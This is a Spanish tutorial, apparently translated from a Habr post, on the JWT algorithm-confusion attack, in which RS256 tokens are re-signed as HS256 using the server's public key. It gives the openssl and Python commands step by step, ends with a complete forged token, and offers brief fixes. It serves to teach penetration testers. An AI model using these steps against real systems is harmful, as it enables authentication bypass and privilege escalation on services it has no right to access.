Hackear el token jwt


¡Solo para fines educativos! Destinado a probadores de penetración de hackers .

Problema


El algoritmo HS256 usa la clave secreta para firmar y verificar cada mensaje. El algoritmo RS256 usa la clave privada para firmar el mensaje y usa la clave pública para la autenticación.

Si cambia el algoritmo de RS256 a HS256, el código de back-end usa la clave pública como clave secreta y luego usa el algoritmo HS256 para verificar la firma. Algoritmo de cifrado asimétrico => Algoritmo de cifrado simétrico.

Debido a que el atacante puede obtener la clave pública, el atacante puede modificar el algoritmo en el encabezado a HS256 y luego usar la clave pública RSA para firmar los datos.
El código de back-end utiliza la clave pública RSA + algoritmo HS256 para la verificación de firma.

Ejemplo


La vulnerabilidad aparece cuando la validación del lado del cliente tiene este aspecto:

const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms ) 

Supongamos que tenemos un token inicial como se presenta a continuación y "=>" explicará la modificación que el atacante puede hacer:

 //header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' } 

El código de back-end usa la clave pública como clave secreta y luego usa el algoritmo HS256 para verificar la firma.

Atacar


1. Capture el tráfico y el token JWT válido (ejemplo de grupo NCC)

 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg 

2. Decodificar el token con Burp Decoder

La estructura es header.payload.signature con cada componente codificado en base64 usando el esquema seguro de URL y cualquier relleno eliminado.

 {"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}} 

3. Modifique el encabezado alg a HS256

 {"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}} 

4. Convertir de nuevo al formato JWT

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0 

Encabezado y carga útil listos para usar :)

5. Copie el certificado del servidor y extraiga la clave pública

Todo lo que falta es la firma, y ​​para calcular que necesitamos la clave pública que está usando el servidor. Podría ser que esto esté disponible gratuitamente.

 openssl s_client -connect <hostname>:443 

Copie la salida del "Certificado del servidor" en un archivo (por ejemplo, cert.pem) y extraiga la clave pública (en un archivo llamado key.pem) ejecutando:

 openssl x509 -in cert.pem -pubkey –noout > key.pem 

Vamos a convertirlo en hexadecimal ASCII:

 cat key.pem | xxd -p | tr -d "\\n" 

Al proporcionar la clave pública como hexadecimal ASCII a nuestra operación de firma, podemos ver y controlar completamente los bytes

 echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey: 

El resultado, es decir, la firma HMAC, es:

 db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f 

Una línea para convertir esta firma hexadecimal ASCII en el formato JWT es:

 python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")" 

El resultado es nuestra firma:

 2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

Simplemente agréguelo a nuestro token modificado:

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

6. Envíe el token alterado al servidor.

Resolución


1. Use solo un algoritmo de cifrado (si es posible)



2. Crear diferentes funciones para verificar diferentes algoritmos



Referencias


1. medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6
2.www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries
4.www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through

Source: https://habr.com/ru/post/450054/


All Articles